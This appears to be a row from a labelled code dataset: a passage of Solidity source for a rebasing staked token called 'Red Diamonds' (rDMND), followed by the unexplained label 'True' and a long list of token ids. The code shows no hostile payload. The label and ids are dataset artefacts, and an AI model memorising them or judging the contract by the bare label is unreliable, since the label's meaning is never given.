uint256 b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
/*
* Expects percentage to be trailed by 00,
*/
function percentageAmount(uint256 total_, uint8 percentage_)
internal
pure
returns (uint256 percentAmount_)
{
return div(mul(total_, percentage_), 1000);
}
/*
* Expects percentage to be trailed by 00,
*/
function substractPercentage(uint256 total_, uint8 percentageToSub_)
internal
pure
returns (uint256 result_)
{
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_)
internal
pure
returns (uint256 percent_)
{
return div(mul(part_, 100), total_);
}
/**
* Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_)
internal
pure
returns (uint256)
{
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_)
internal
pure
returns (uint256)
{
return mul(multiplier_, supply_);
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
// function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
// require(address(this).balance >= value, "Address: insufficient balance for call");
// return _functionCallWithValue(target, data, value, errorMessage);
// }
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address)
internal
pure
returns (string memory)
{
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = "0";
_addr[1] = "x";
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 private constant ERC20TOKEN_ERC1820_INTERFACE_ID =
keccak256("ERC20Token");
// Present in ERC777
mapping(address => uint256) internal _balances;
// Present in ERC777
mapping(address => mapping(address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
// Present in ERC777
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
// Present in ERC777
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
// Present in ERC777
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
// Present in ERC777
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
// Present in ERC777
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
// Overrideen in ERC777
// Confirm that this behavior changes
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
// Present in ERC777
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
// Present in ERC777
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
// Present in ERC777
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
// Present in ERC777
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address(this), account_, ammount_);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
// Present in ERC777
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
// Present in ERC777
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
// Considering deprication to reduce size of bytecode as changing _decimals to internal acheived the same functionality.
// function _setupDecimals(uint8 decimals_) internal {
// _decimals = decimals_;
// }
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
// Present in ERC777
function _beforeTokenTransfer(
address from_,
address to_,
uint256 amount_
) internal virtual {}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
/**
* @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)
)
);
}
/**
* @dev See {IERC2612Permit-permit}.
*
*/
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
_nonces[owner].current(),
deadline
)
);
bytes32 _hash = keccak256(
abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct)
);
address signer = ecrecover(_hash, v, r, s);
require(
signer != address(0) && signer == owner,
"ZeroSwapPermit: Invalid signature"
);
_nonces[owner].increment();
_approve(owner, spender, amount);
}
/**
* @dev See {IERC2612Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(
address indexed previousOwner,
address indexed newOwner
);
event OwnershipPulled(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_)
public
virtual
override
onlyManager
{
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
contract StakedDMNDERC20 is ERC20Permit, Ownable {
using SafeMath for uint256;
modifier onlyStakingContract() {
require(msg.sender == stakingContract);
_;
}
address public stakingContract;
address public initializer;
event LogSupply(
uint256 indexed epoch,
uint256 timestamp,
uint256 totalSupply
);
event LogRebase(uint256 indexed epoch, uint256 rebase, uint256 index);
event LogStakingContractUpdated(address stakingContract);
struct Rebase {
uint256 epoch;
uint256 rebase; // 18 decimals
uint256 totalStakedBefore;
uint256 totalStakedAfter;
uint256 amountRebased;
uint256 index;
uint256 blockNumberOccured;
}
Rebase[] public rebases;
uint256 public INDEX;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 5000000 * 10**9;
// TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer.
// Use the highest value that fits in a uint256 for max granularity.
uint256 private constant TOTAL_GONS =
MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
// MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping(address => mapping(address => uint256)) private _allowedValue;
constructor() ERC20("Red Diamonds", "rDMND", 9) ERC20Permit() {
initializer = msg.sender;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
}
function initialize(address stakingContract_) external returns (bool) {
require(msg.sender == initializer);
require(stakingContract_ != address(0));
stakingContract = stakingContract_;
_gonBalances[stakingContract] = TOTAL_GONS;
emit Transfer(address(0x0), stakingContract, _totalSupply);
emit LogStakingContractUpdated(stakingContract_);
initializer = address(0);
return true;
}
function setIndex(uint256 _INDEX) external onlyManager returns (bool) {
require(INDEX == 0);
INDEX = gonsForBalance(_INDEX);
return true;
}
/**
@notice increases rDMND supply to increase staking balances relative to profit_
@param profit_ uint256
@return uint256
*/
function rebase(uint256 profit_, uint256 epoch_)
public
onlyStakingContract
returns (uint256)
{
uint256 rebaseAmount;
uint256 circulatingSupply_ = circulatingSupply();
if (profit_ == 0) {
emit LogSupply(epoch_, block.timestamp, _totalSupply);
emit LogRebase(epoch_, 0, index());
return _totalSupply;
} else if (circulatingSupply_ > 0) {
rebaseAmount = profit_.mul(_totalSupply).div(circulatingSupply_);
} else {
rebaseAmount = profit_;
}
_totalSupply = _totalSupply.add(rebaseAmount);
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
_storeRebase(circulatingSupply_, profit_, epoch_);
return _totalSupply;
}
/**
@notice emits event with data about rebase
@param previousCirculating_ uint
@param profit_ uint
@param epoch_ uint
@return bool
*/
function _storeRebase(
uint256 previousCirculating_,
uint256 profit_,
uint256 epoch_
) internal returns (bool) {
uint256 rebasePercent = profit_.mul(1e18).div(previousCirculating_);
rebases.push(
Rebase({
epoch: epoch_,
rebase: rebasePercent, // 18 decimals
totalStakedBefore: previousCirculating_,
totalStakedAfter: circulatingSupply(),
amountRebased: profit_,
index: index(),
blockNumberOccured: block.number
})
);
emit LogSupply(epoch_, block.timestamp, _totalSupply);
emit LogRebase(epoch_, rebasePercent, index());
return true;
}
function balanceOf(address who) public view override returns (uint256) {
return _gonBalances[who].div(_gonsPerFragment);
}
function gonsForBalance(uint256 amount) public view returns (uint256) {
return amount.mul(_gonsPerFragment);
}
function balanceForGons(uint256 gons) public view returns (uint256) {
return gons.div(_gonsPerFragment);
}
// Staking contract holds excess rDMND
function circulatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(stakingContract));
}
function index() public view returns (uint256) {
return balanceForGons(INDEX);
}
function transfer(address to, uint256 value) public override returns (bool) {
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
override
returns (uint256)
{
return _allowedValue[owner_][spender];
}
function transferFrom(
address from,
address to,
uint256 value
) public override returns (bool) {
_allowedValue[from][msg.sender] = _allowedValue[from][msg.sender].sub(
value
);
emit Approval(from, msg.sender, _allowedValue[from][msg.sender]);
uint256 gonValue = gonsForBalance(value);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
override
returns (bool)
{
_allowedValue[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
// What gets called in a permit
function _approve(
address owner,
address spender,
uint256 value
) internal virtual override {
_allowedValue[owner][spender] = value;
emit Approval(owner, spender, value);
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
_allowedValue[msg.sender][spender] = _allowedValue[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowedValue[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
uint256 oldValue = _allowedValue[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedValue[msg.sender][spender] = 0;
} else {
_allowedValue[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedValue[msg.sender][spender]);
return true;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
12943,
24759,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1021,
1012,
1019,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
